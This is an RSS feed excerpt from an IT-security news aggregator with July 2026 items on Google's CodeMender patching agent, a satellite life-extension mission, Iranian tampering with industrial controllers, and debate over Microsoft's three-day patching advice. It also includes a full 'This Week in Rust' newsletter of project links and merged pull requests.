<p>The post <a href="https://cyberpress.org/google-launches-codemender-ai-agent-to-find-flaws/">Google Launches CodeMender AI Agent to Find, Verify, and Patch Software Flaws</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Google Unveils CodeMender AI Agent for Automated Vulnerability Detection and Remediation]]></title>
<description><![CDATA[Google has unveiled CodeMender, a managed AI security agent designed to identify, validate, and remediate software vulnerabilities at machine speed. Announced in preview on July 22, 2023, the tool is available through the Gemini Enterprise Agent Platform and can also function as a core component ...]]></description>
<link>https://tsecurity.de/de/3688290/it-security-nachrichten/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688290/it-security-nachrichten/google-unveils-codemender-ai-agent-for-automated-vulnerability-detection-and-remediation/</guid>
<pubDate>Thu, 23 Jul 2026 09:42:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has unveiled CodeMender, a managed AI security agent designed to identify, validate, and remediate software vulnerabilities at machine speed. Announced in preview on July 22, 2023, the tool is available through the Gemini Enterprise Agent Platform and can also function as a core component of Google’s AI Threat Defense offering. This launch comes as […]</p>
<p>The post <a href="https://gbhackers.com/google-unveils-codemender-ai-agent/">Google Unveils CodeMender AI Agent for Automated Vulnerability Detection and Remediation</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Private Mission Launches To Extend Life of Out-of-Gas Communication Satellites]]></title>
<description><![CDATA[Northrop Grumman has launched a private satellite-servicing mission to attach life-extending "jetpacks" to aging communications satellites in geosynchronous orbit. "It's the second satellite-saving mission to launch this month, all part of a growing, money-saving effort to keep spacecraft running...]]></description>
<link>https://tsecurity.de/de/3688235/it-security-nachrichten/private-mission-launches-to-extend-life-of-out-of-gas-communication-satellites/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688235/it-security-nachrichten/private-mission-launches-to-extend-life-of-out-of-gas-communication-satellites/</guid>
<pubDate>Thu, 23 Jul 2026 09:10:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Northrop Grumman has launched a private satellite-servicing mission to attach life-extending "jetpacks" to aging communications satellites in geosynchronous orbit. "It's the second satellite-saving mission to launch this month, all part of a growing, money-saving effort to keep spacecraft running as long as possible," reports Phys.org. From the report: Launched by SpaceX, Northrop Grumman's mission robotic vehicle -- dubbed MRV -- and its jetpacks will spend the next year angling into the proper orbit 22,300 miles (36,000 kilometers) above Earth. Hundreds of satellites orbit at this so-called geosynchronous orbit, where they match the speed of Earth's rotation and keep to the same part of the sky for continuous coverage. Once in place by mid-2027, the minivan-sized spacecraft will use its 10-foot (9-meter) arms to attach a jetpack to an aging communication satellite. Then it will zip off to two more satellites in need.
 
For its debut flight, the spacecraft was accompanied by three electric-propelled jetpacks that peeled away separately following liftoff. Like the MRV, the jetpacks will use their own xenon gas thrusters to get to the desired orbit. Once in place, the jetpacks will wait for the robot to grab them, one at a time, and plug them into their designated satellites. Each jetpack -- the size of a washing machine -- will provide the necessary oomph for an out-of-gas satellite to keep operating for several more years instead of retiring. If it works, it will be a boon for satellite operators SES of Luxembourg and Optus of Australia, saving them millions of dollars in replacement costs.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/23/0534215/private-mission-launches-to-extend-life-of-out-of-gas-communication-satellites?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Microsoft’s 3-day patching directive comes with added operational risk]]></title>
<description><![CDATA[Microsoft 365 Director Jeremy Chapman this month took to video to tell Windows admins that the days of delaying security patches are over.



Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, i...]]></description>
<link>https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688232/it-security-nachrichten/microsofts-3-day-patching-directive-comes-with-added-operational-risk/</guid>
<pubDate>Thu, 23 Jul 2026 09:10:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft 365 Director Jeremy Chapman this month <a href="https://www.youtube.com/watch?v=QdjSkbKXoJw">took to video to tell Windows admins</a> that the days of delaying security patches are over.</p>



<p class="wp-block-paragraph">Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, in many cases deferring patch rollouts for two to four weeks or more to ensure stability. Microsoft argues that this cautious approach, though understandable, is no longer viable because AI is accelerating the discovery and exploitation of software vulnerabilities.</p>



<p class="wp-block-paragraph">As a result, Microsoft has advised admins to act on patches within three days.</p>



<p class="wp-block-paragraph">Independent experts agree with Microsoft’s diagnosis of the <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">problems posed by AI-powered vulnerability discovery</a>, but many say Microsoft’s three-day remediation window is unrealistic for large enterprises with heavy testing, change-control, and compatibility constraints.</p>



<p class="wp-block-paragraph">Instead of taking a blanket approach, enterprises need to focus more on quickly resolving those vulnerabilities that are under active exploitation and relevant to their environments, according to critics of Microsoft’s revised approach.</p>



<h2 class="wp-block-heading">Tighter patching deadlines</h2>



<p class="wp-block-paragraph">Microsoft’s <a href="https://techcommunity.microsoft.com/blog/microsoftmechanicsblog/deploy-windows-updates-to-counter-ai-discovered-threats/4534505">revised vulnerability remediation advice</a> comes in the wake of its work with <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">Anthropic’s Project Glasswing</a> and findings from Microsoft’s own MDASH multi-model agentic scanning harness. Tighter patching deadlines are configurable via Windows Autopatch and Microsoft Intune or update tooling options such as Microsoft Configuration Manager and Windows Server Update Services.</p>



<p class="wp-block-paragraph">As IT environments become increasingly more complex, inadvertent issues can occur with what appears to be a simple patch.</p>



<p class="wp-block-paragraph">Unique or complex deployments may not be compatible with a patch, resulting in potential data corruption, system shutdown, or the dreaded “Blue Screen of Death.” Multiple vendors in the operating system and the enterprise software and security market have released patches that have broken products and caused outages, so the issue goes well beyond Windows shops.</p>



<p class="wp-block-paragraph">Increasing both the volume and the speed of patching is unsustainable for most security teams because organizations are <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">already struggling with successful remediation</a> as it is.</p>



<p class="wp-block-paragraph">“Many organizations have patch windows, review cycles, and test environments to identify these issues prior to patching production environments,” says Scott Caveza, senior research manager at exposure management and vulnerability assessment firm Tenable. “Organizations lacking the resources for extended validation risk deploying faulty patches that cause downtime or force last-minute configuration changes.”</p>



<p class="wp-block-paragraph">Caveza adds: “The mitigation steps will vary for each organization, but blindly relying on auto-updates without contextual validation is not a defensible security posture.”</p>



<p class="wp-block-paragraph">CISA’s Known Exploited Vulnerabilities list and other industry data suggest that only a small fraction of disclosed vulnerabilities are confirmed as exploited in the wild.</p>



<p class="wp-block-paragraph">“[Enterprises should focus on] identifying vulnerabilities with credible and functional PoCs, verified exploitation, or sustained attention from ransomware groups, threat actors, and botnets,” says Caitlin Condon, vice president of security research at VulnCheck. “Timely exploit intelligence helps organizations identify the bugs that require immediate attention, while allowing lower-risk issues to proceed through appropriate testing and change control.”</p>



<p class="wp-block-paragraph">Other independent experts are more sympathetic to Microsoft’s argument that AI has made vulnerability discovery and exploit development faster than ever and, as a result, the risks of delaying patches are far greater.</p>



<p class="wp-block-paragraph">“Organizations sometimes delay patches to protect the uptime of critical systems, and many updates still require a restart,” says Danny Jenkins, CEO and co-founder at endpoint protection technology vendor ThreatLocker. “Some teams also stay one update cycle behind because they are concerned that a new patch could introduce bugs or break an overlooked dependency. Unfortunately, delaying patches to preserve uptime is becoming much harder to justify.”<br><br>Jenkins adds: “Organizations should not leave critical systems exposed while waiting for the next maintenance window. Patches should still be tested, but that process needs to move quickly, with the highest priority given to vulnerabilities that are actively exploited or exposed to the internet. A controlled interruption is usually far less costly than a successful attack exploiting a known vulnerability.”</p>



<h2 class="wp-block-heading">Wider cross-industry impact</h2>



<p class="wp-block-paragraph">Microsoft’s three-day recommendation reflects a fundamental change in the threat landscape. Other vendors might be expected to follow suit and that means CISOs need to revise their approach to vulnerability remediation.</p>



<p class="wp-block-paragraph">“Organizations should expect faster disclosure-to-exploitation timelines to become the norm, which means security programs must emphasize automation, trusted software supply chains, and continuous visibility rather than relying on periodic maintenance windows,” says Mike Nelson, VP and field CTO at DigiCert.</p>



<p class="wp-block-paragraph">AI is compressing the time between vulnerability discovery and exploitation, and the industry is moving rapidly from 30-, 60-, and 90-day patching windows toward a matter of days.</p>



<p class="wp-block-paragraph">However a “blanket three-day requirement for every vulnerability is neither realistic nor safe for most large organizations,” says Jeff Williams, founder and CTO at Contrast Security.</p>



<p class="wp-block-paragraph">Failing to patch opens up security threats, but rushing an inadequately tested patch into production creates operational risk.</p>



<p class="wp-block-paragraph">“The goal cannot be to treat every CVE [vulnerability] as an emergency,” according to Williams. “It has to be identifying, within hours, which vulnerabilities are actually exploitable and require immediate action.”</p>



<h2 class="wp-block-heading">Holistic remediation</h2>



<p class="wp-block-paragraph">Security teams are already facing significant pressure to patch faster and to remediate a rising tide of new vulnerabilities, yet many practitioners are losing ground. <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">Verizon’s Data Breach Investigation Report</a>, published earlier this year, found that the median time to patch had actually increased to 43 days.</p>



<p class="wp-block-paragraph">Patch deployment in enterprise environments involves configuration changes, reviews, testing, and validation.</p>



<p class="wp-block-paragraph">Enterprises need to become more proficient at exposure management so that they have a holistic view of their environment that’s necessary to identify which assets are at greatest risk.</p>



<p class="wp-block-paragraph">“By pinpointing the misconfigurations, identity flaws, and specific vulnerabilities that pose the greatest risk to their environment, security teams can prioritize exactly what to patch first,” Tenable’s Caveza says. “The idea of ‘patch everything’ is really outdated, and ‘patch faster’ isn’t feasible with the rapidly increasing number of vulnerabilities disclosed each day.”</p>



<p class="wp-block-paragraph">CISOs will have to re-engineer their vulnerability and exposure management processes. “The traditional model of scanning everything, assigning generic severity scores, and tilting at a massive and expanding backlog is no longer fast enough,” says Contrast Security’s Williams.</p>



<p class="wp-block-paragraph">Organizations need to identify the small number of vulnerabilities that matter, protect against them immediately, and remediate them on a timeline the business can safely support.</p>



<p class="wp-block-paragraph">Enterprises should prioritize on resolving “internet facing, remotely exploitable vulnerabilities and any of the CISA Known Exploited Vulnerability list,” says Jose Lejin, an IEEE senior member.</p>



<p class="wp-block-paragraph">Businesses that cannot safely validate and deploy patches within three days still have options, including “compensating controls, reducing an asset’s exposure, or in some cases removing the component entirely, all of which shrink the exploitable risk and buy time to patch properly,” says Brad Hibbert, CSO of vulnerability management provider Brinqa.</p>
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<title><![CDATA[Iranian Hackers Manipulate SCADA Displays After Breaching U.S. Critical Infrastructure PLCs]]></title>
<description><![CDATA[U.S. federal agencies have issued an urgent warning that Iranian-affiliated threat actors are targeting internet-exposed programmable logic controllers (PLCs) used across critical infrastructure. The activity has disrupted industrial operations by tampering with PLC project files and altering inf...]]></description>
<link>https://tsecurity.de/de/3688176/it-security-nachrichten/iranian-hackers-manipulate-scada-displays-after-breaching-us-critical-infrastructure-plcs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688176/it-security-nachrichten/iranian-hackers-manipulate-scada-displays-after-breaching-us-critical-infrastructure-plcs/</guid>
<pubDate>Thu, 23 Jul 2026 08:54:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>U.S. federal agencies have issued an urgent warning that Iranian-affiliated threat actors are targeting internet-exposed programmable logic controllers (PLCs) used across critical infrastructure. The activity has disrupted industrial operations by tampering with PLC project files and altering information shown to operators through human-machine interface (HMI) and supervisory control and data acquisition (SCADA) systems. The joint […]</p>
<p>The post <a href="https://cyberpress.org/iranian-scada-display-sabotage/">Iranian Hackers Manipulate SCADA Displays After Breaching U.S. Critical Infrastructure PLCs</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
